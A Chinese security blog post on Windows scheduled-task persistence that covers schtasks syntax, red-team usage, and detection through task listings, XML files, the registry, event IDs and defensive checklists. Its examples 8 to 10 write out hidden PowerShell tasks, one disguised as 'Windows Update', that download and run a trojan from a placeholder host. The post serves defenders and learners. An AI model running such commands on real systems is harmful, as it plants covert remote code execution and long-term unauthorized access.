【Tips+1】Windows持久化之计划任务

admin 2024年2月15日18:12:28评论14 views字数 8520阅读28分24秒阅读模式
【Tips+1】Windows持久化之计划任务

Tips +1

【Tips+1】Windows持久化之计划任务

计划任务

Windows计划任务是一种操作系统级别的功能,允许你安排在指定的日期和时间执行特定任务或程序。这些任务可以是一次性的,也可以是定期重复的。你可以使用计划任务来自动化系统维护、备份、数据同步、应用程序运行等各种任务,但在红蓝对抗中,常被红队用于对权限的持久化控制或者提权。

在window系统中,我们可以使用at.exe 和 schtasks.exe创建计划任务包。这里我们注意介绍的是schtasks命令,因为at.exe 在 windows8 开始就弃用了,之后的系统都是使用 schtasks.exe 创建计划任务,该命令参数信息如下:

SCHTASKS /Create [/S system [/U username [/P 
		
输入密码查看隐藏内容

]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]

schtasks 比 at 更加强大,提供了很多自定义任务时需要的参数。在对计划任务排查时,我们可能更关注的是执行的任务内容,和它相关的参数是 TR。一般情况创建恶意计划任务的命令大概是这样子:

"c:WindowsSystem32schtasks.exe" /Create /SC ONCE /TN TEST /TR "cmd /c "start /min C:ProgramData1.bat"" /ST 12:00

这个命令中使用了 /TN 指定任务名称为 TEST/TR 参数指定运行的恶意命令,/ST 指定了运行时间,/SC 指定运行周期,还可以通过 /ED 参数指定任务终止日期等。

下面这些信息可能会帮助排查 schtasks.exe 生成的计划任务:

  • 路径:%SystemRoot%System32schtasks.exe

  • 权限:普通用户。如果要显式指定高权用户运行任务,需要该账户的账户名和密码信息。

  • 排查:

    • 检查调用 schtasks 的父进程信息,是否有权创建任务

    • 检查 /TR 参数的值,可执行文件或命令是否是恶意的

  • 其他:

    • 和任务相关的 XML 文件位置:%SystemRoot%System32Tasks

    • 如果任务日志是启用的,可以排查 应用程序和服务日志/Microsoft/Windows/TaskScheduler/Operational 事件日志。

实现原理

任务计划的持久化通常是指攻击者将恶意计划(如:木马、信息探测、创建账户、挖矿等)任务写入到系统中,以便在系统重启或定期触发的情况下执行,从而实现长期访问和控制目标系统的目标。攻击者可以使用不同的技术和方法来实现任务计划的持久化,下面是一些常见的实现原理:

  1. 创建计划任务:攻击者可以使用系统的计划任务功能,如Windows任务计划程序,来创建一个或多个计划任务。这些任务可以设置为在系统启动时、特定时间、或根据其他触发条件来执行。

  2. 注册表项修改:攻击者可以修改Windows注册表,将计划任务与系统启动相关的注册表项关联起来。这使得任务在系统启动时自动运行。

  3. 启动项修改:攻击者可以修改系统启动项,如Windows服务、启动文件夹、自动运行注册表项等,以启动计划任务。这将导致任务在用户登录或系统启动时执行。

  4. 计划任务的冷备份:攻击者可以创建计划任务的冷备份,以确保即使原始任务被删除,它们仍然可以在系统上恢复并执行。

  5. 隐藏任务:攻击者可以尝试隐藏计划任务,使其在任务计划程序中不可见,从而防止被普通用户或管理员发现。

  6. 使用计划任务执行脚本:攻击者可以将恶意代码或脚本嵌入到计划任务中,以便在计划任务的执行期间执行恶意操作。

  7. DLL劫持:攻击者可以修改系统上的动态链接库(DLL)文件,以执行计划任务时加载恶意DLL,从而实现攻击。

常见操作

0、常见命令

官网操作文档:https://learn.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc772785(v=ws.10)#BKMK_syntax

示例:

schtasks /create /tn "test" /tr "C:Userstest.bat" /sc daily /st 11:30
我们创建一个名为"test",定期执行某个bat脚本,在每天的11:30执行
/TN taskname 以路径名称形式指定对此计划任务进行唯一标识的字符串。
/TR taskrun 指定在这个计划时间运行的程序的路径和文件名。
例如: C:windowssystem32calc.exe
/SC schedule 指定计划频率。
==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc
SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
如每分钟、每小时、每天、每星期
MINUTE: 1 到 1439 分钟;
HOURLY: 1 - 23 小时;
DAILY: 1 到 365 天;
WEEKLY: 1 到 52 周;
/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间),例如 14:30 表示2:30 PM。如果未指定 /ST,则默认值为当前时间。/SC ONCE 必需有此选项。

1、指定时间每天执行一次

schtasks.exe /create /tn test /tr "C:WindowsSystem32calc.exe" /sc daily /st 13:03

命令解释如下:

  • schtasks.exe: 这是Windows中用于创建、管理和配置计划任务的命令行工具。

  • /create: 这个标志指示你要创建一个新的计划任务。

  • /tn test: 这个标志指定了任务的名称,这里是"test"。你可以根据需要为任务指定不同的名称。

  • /tr "C:WindowsSystem32calc.exe": 这个标志指定了任务执行的操作,也就是要运行的程序或脚本。在这个例子中,它是"calc.exe",即计算器应用程序的路径。

  • /sc daily: 这个标志指定了任务的触发器,即计划任务将每天触发执行。

  • /st 13:03: 这个标志指定了任务的开始时间,也就是任务每天运行的时间。在这里,任务将在13:03开始执行。

【Tips+1】Windows持久化之计划任务

2、每小时(每分钟)执行一次

schtasks /create /tn HourlyTask /tr "C:PathToYourProgram.exe" /sc hourly /mo 1
schtasks /create /tn MinuteTask /tr "C:PathToYourProgram.exe" /sc minute /mo 1
  • /sc hourly: 这个参数指定了触发器,以每小时为单位触发任务。

  • /mo 1: 这个参数表示每隔1小时触发一次任务。你可以根据需要将"1"替换为其他数字来设置不同的小时间隔。

  • /sc minute: 这个参数指定了触发器,以每分钟为单位触发任务。

  • /mo 1: 这个参数表示每隔1分钟触发一次任务。你可以根据需要将"1"替换为其他数字来设置不同的分钟间隔。

【Tips+1】Windows持久化之计划任务

3、当机器空闲30分钟后执行任务

schtasks /create /tn IdleTask /tr "C:WindowsSystem32calc.exe" /sc onidle /i 30
  • /sc onidle: 这个参数指定任务的触发器,即在系统处于空闲状态时触发执行。

  • /i 30: 这个参数指定了任务的空闲时间,即系统需要连续空闲30分钟后才触发任务执行。

【Tips+1】Windows持久化之计划任务

4、当用户登录或者注销时执行任务

schtasks /create /tn LogonTask /tr "C:WindowsSystem32calc.exe" /sc onlogon
  • /sc onlogon: 这个参数指定任务的触发器,即在用户登录时触发执行。

  • /sc ondisconnect: 这个参数指定任务的触发器,即在用户注销或退出时触发执行。

【Tips+1】Windows持久化之计划任务

5、执行哪个用户运行任务

使用/ru 指定任务以哪个用户的权限运行

schtasks /create /tn SystemTask /tr "C:WindowsSystem32calc.exe" /sc daily /st 08:00 /ru "NT AUTHORITYSYSTEM"

【Tips+1】Windows持久化之计划任务

6、指定windows 事件执行任务

schtasks /create /tn MyLogoffTask /tr "C:WindowsSystem32calc.exe" /sc onevent /ec Security /mo "*[System[(EventID=4634)]]" /ru "NT AUTHORITYSYSTEM"
  • /sc onevent: 指定任务的触发器为 "Custom Event"。

  • /ec Security: 事件订阅的事件日志,这里是 "Security"。

  • /mo "*[System[(EventID=4634)]]": 事件筛选器,匹配 EventID 为 4634 的事件。你可以根据需要更改 EventID。

【Tips+1】Windows持久化之计划任务

7、定期执行powershell脚本任务

schtasks /create /tn MyHourlyDownloadTask /tr "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -File C:PathToYourScript.ps1" /sc hourly /mo 1 /ru "NT AUTHORITYSYSTEM"
  • /tr "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -File C:PathToYourScript.ps1": 这个参数指定了任务的操作,即要执行的 PowerShell 脚本。确保将脚本路径替换为你的实际脚本路径。

  • /sc hourly: 这个参数指定任务的触发器类型为每小时触发。

  • /mo 1: 这个参数指定任务每小时触发一次,可以根据需要调整触发频率。

【Tips+1】Windows持久化之计划任务

8、远程下载执行任务

schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://ip/muma'''))'" /sc onlogon /ru System
  • /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xxx/muma''))'": 这个参数指定了任务的操作,即要运行的命令。在这里,它运行了一个 PowerShell 命令,该命令从指定的 URL(http://ip/muma)下载代码并执行它。这个命令是隐藏的,没有 PowerShell 标志和互动操作,并使用 bypass 执行策略来绕过脚本执行策略。

  • /sc onlogon: 这个参数指定了任务的触发器,即何时运行任务。在这里,它指定在用户登录时触发任务。

  • /ru System: 这个参数指定了执行任务的用户,这里是 System 用户。System 用户是一个具有高权限的系统用户。

【Tips+1】Windows持久化之计划任务

9、设置当前用户执行任务

schtasks /CREATE /TN "Windows Update" /TR "C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ExecutionPolicy Bypass -NoProfile -Command 'IEX ((New-Object Net.WebClient).DownloadString(''http://ip/muma''))'" /SC MINUTE /MO 1 /ST 08:00 /RU %USERNAME%
  • /RU %USERNAME%: 将任务以当前用户的权限运行,%USERNAME% 会自动解析为当前用户名。

【Tips+1】Windows持久化之计划任务

10、设置特殊情况执行任务

schtasks /CREATE /TN "Windows Update1" /TR "C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ExecutionPolicy Bypass -NoProfile -Command 'IEX ((New-Object Net.WebClient).DownloadString(''http://ip/muma''))'" /SC MINUTE /MO 1 /ED 2023/11/11 /ST 08:00 /RU %USERNAME%
  • 在命令中,-WindowStyle hidden 将使 PowerShell 窗口以隐藏方式运行,用户不会看到窗口。

  • -NoLogo 参数将禁用 PowerShell 启动时显示的标志和版权信息。

  • -NonInteractive 参数将 PowerShell 设置为非交互模式,以便它不等待用户输入。

  • /Z: 允许任务在没有网络连接的情况下运行。

  • /IT: 如果任务已过期,立即运行任务。

【Tips+1】Windows持久化之计划任务

如何排查

1、查看任务计划程序

【控制面板】>(管理工具)【任务计划程序】,查看计划任务属性,便可以发现木马文件的路径。

或者win+r 启动 taskschd.msc

【Tips+1】Windows持久化之计划任务

【Tips+1】Windows持久化之计划任务

2、使用命令查看

使用 schtasks或者 poershell脚本命令查看计划任务。执行以下命令:

schtasks /query
Get-ScheduledTask

这将列出当前计划的任务,包括任务名称、状态、下次运行时间和任务的命令或操作。如果没有计划任务,它将显示 "没有计划任务"。

【Tips+1】Windows持久化之计划任务

可以使用 schtasks 命令的 /tn 参数,后面跟上任务名称。例如,要查看任务名称为 "MyTask" 的任务的详细信息

schtasks /query /tn "MyTask"

【Tips+1】Windows持久化之计划任务

要查看已禁用的计划任务,使用:

schtasks /query /FO TABLE /NH /V | find "DISABLED"
schtasks /query /FO TABLE /NH /V | find "已禁用"

3、查看任务计划XML文件位置

在windows系统中,一旦任务创建,将会自动在目录 %SystemRoot%System32Tasks 生成一个关于该任务的描述性 XML 文件,包含了所有的任务信息

【Tips+1】Windows持久化之计划任务

【Tips+1】Windows持久化之计划任务

4、查看注册表

注册表路径 "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree" 是用于存储系统中配置的任务计划的注册表路径。在这个路径下,你可以找到已配置的任务计划的相关信息,包括任务的名称和配置。

【Tips+1】Windows持久化之计划任务

5、火绒剑分析

【Tips+1】Windows持久化之计划任务

6、使用autoruns

【Tips+1】Windows持久化之计划任务

6、 SharPersist  工具

github项目地址:https://github.com/
SharPersist.exe -t schtaskbackdoor -m list in "test"

【Tips+1】Windows持久化之计划任务

【Tips+1】Windows持久化之计划任务

Registry

SharPersist -t reg -k "hkcurun" -m list

计划任务后门

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

启动文件夹

SharPersist -t startupfolder -m list

Windows 服务

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

计划任务

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon

7、删除任务计划

1、schtasks /Delete /TN 任务名称 /F

2、删除 HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsNTCurrentVersionScheduleTaskCacheTree{TaskName}

3、删除 %SystemRoot%System32Tasks 下任务对应的 XML 文件

schtasks /Delete /TN 任务名称 /F

【Tips+1】Windows持久化之计划任务

日志分析

1、查看日志

启用任务计划审计策略,以便记录任务计划的创建、修改和删除事件。检查安全事件日志中的相关事件ID,如事件ID 4698(创建任务计划)和事件ID 4699(删除任务计划)。

4698 ----- 已创建计划任务
4699 ----- 计划任务已删除
4700 ----- 已启用计划任务
4701 ----- 计划任务已禁用
4702 ----- 计划任务已更新

2、事件日志

应用程序和服务日志/Microsoft/Windows/TaskScheduler/Operational"是一个特定的事件日志,用于记录与任务计划程序相关的详细操作和事件。在这个事件日志中,你可以找到与任务计划创建、修改、删除以及任务执行相关的详细信息。这对于监视和分析任务计划的活动非常有用。

以下是一些常见的任务计划操作事件ID以及它们的含义,通常记录在 "TaskScheduler/Operational" 事件日志中:

  1. 事件ID 106:任务计划的创建或导入。这个事件记录了新任务计划的创建或现有任务计划的导入操作。

  2. 事件ID 140:任务计划的属性更改。这个事件记录了任务计划的属性(如触发器、操作、条件等)的更改。

  3. 事件ID 141:任务计划的删除。这个事件记录了任务计划的删除操作。

  4. 事件ID 200:任务计划的启动。这个事件记录了任务计划的手动或自动启动。

  5. 事件ID 201:任务计划的停止。这个事件记录了任务计划的手动或自动停止。

  6. 事件ID 106/141:创建或删除任务计划时的详细信息,包括任务计划的名称、路径和所有者。

【Tips+1】Windows持久化之计划任务

【Tips+1】Windows持久化之计划任务

安全防御

  • 定期审查任务计划和启动项,以检测不寻常或不必要的任务。

  • 启用安全日志记录,以记录任务的创建和修改。

  • 使用安全软件来检测和清除已知的恶意任务和恶意软件。

  • 遵守最佳实践,包括限制用户特权、最小化系统攻击面、保持系统和应用程序更新等。

  • 配置网络防火墙和入侵检测系统,以检测与任务计划相关的异常活动。

  1. 检查任务计划列表:

    • 使用命令行工具 schtasks 或任务计划程序工具来列出当前配置的任务计划。检查是否存在不明任务或可疑任务。

  1. 审计任务计划操作

    • 启用任务计划审计策略,以便记录任务计划的创建、修改和删除事件。检查安全事件日志中的相关事件ID,如事件ID 4698(创建任务计划)和事件ID 4699(删除任务计划)。

  1. 分析任务计划的命令和参数

    • 查看每个任务计划的命令和参数,确保它们与预期的操作一致。特别关注执行的文件路径和脚本内容。

  1. 检查任务计划的触发器

    • 分析任务计划的触发器,查看何时触发任务的执行。确保触发器设置是按预期的。

  1. 审查任务计划的所有者

    • 确保任务计划的所有者是合法的用户或系统。如果任务计划的所有者是不明用户或组,可能需要进一步调查。

  1. 扫描任务计划的执行日志

    • 查看任务计划的执行日志,以了解任务的历史活动。检查是否有异常的执行事件或失败的尝试。

  1. 扫描任务计划的网络活动

    • 如果任务计划涉及与网络相关的活动,如下载文件,检查网络流量和连接日志,以查看是否有异常的网络活动。

  1. 检查文件和脚本完整性

    • 验证任务计划中涉及的文件和脚本的完整性,以确保它们未被篡改或感染。

  1. 使用安全软件扫描

    • 使用安全软件来扫描系统以检测恶意代码或病毒。

  1. 分析任务计划的源

    • 如果任务计划是通过第三方来源获取的,如下载的脚本或工具,确保来源可信,并分析其内容。

  1. 查看系统日志

    • 检查系统日志,特别关注于不明的系统事件和异常行为。

  1. 隔离可疑任务计划

    • 如果发现可疑的任务计划,暂时禁用它们,并隔离系统以阻止潜在的风险扩散。

  1. 备份和还原

    • 在排查和清除可疑任务计划之前,务必创建系统备份,以便在必要时恢复系统状态。

参考链接:https://mp.weixin.qq.com/s/ktGug1VbSpmzh9CEGKbbdw

[加入星球,解锁更多技能,助你快速成长]【Tips+1】Windows持久化之计划任务

End

“点赞、在看与分享都是莫大的支持”

【Tips+1】Windows持久化之计划任务

原文始发于微信公众号(贝雷帽SEC):【Tips+1】Windows持久化之计划任务

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:12:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Tips+1】Windows持久化之计划任务http://cn-sec.com/archives/2186646.html

发表评论

匿名网友 填写信息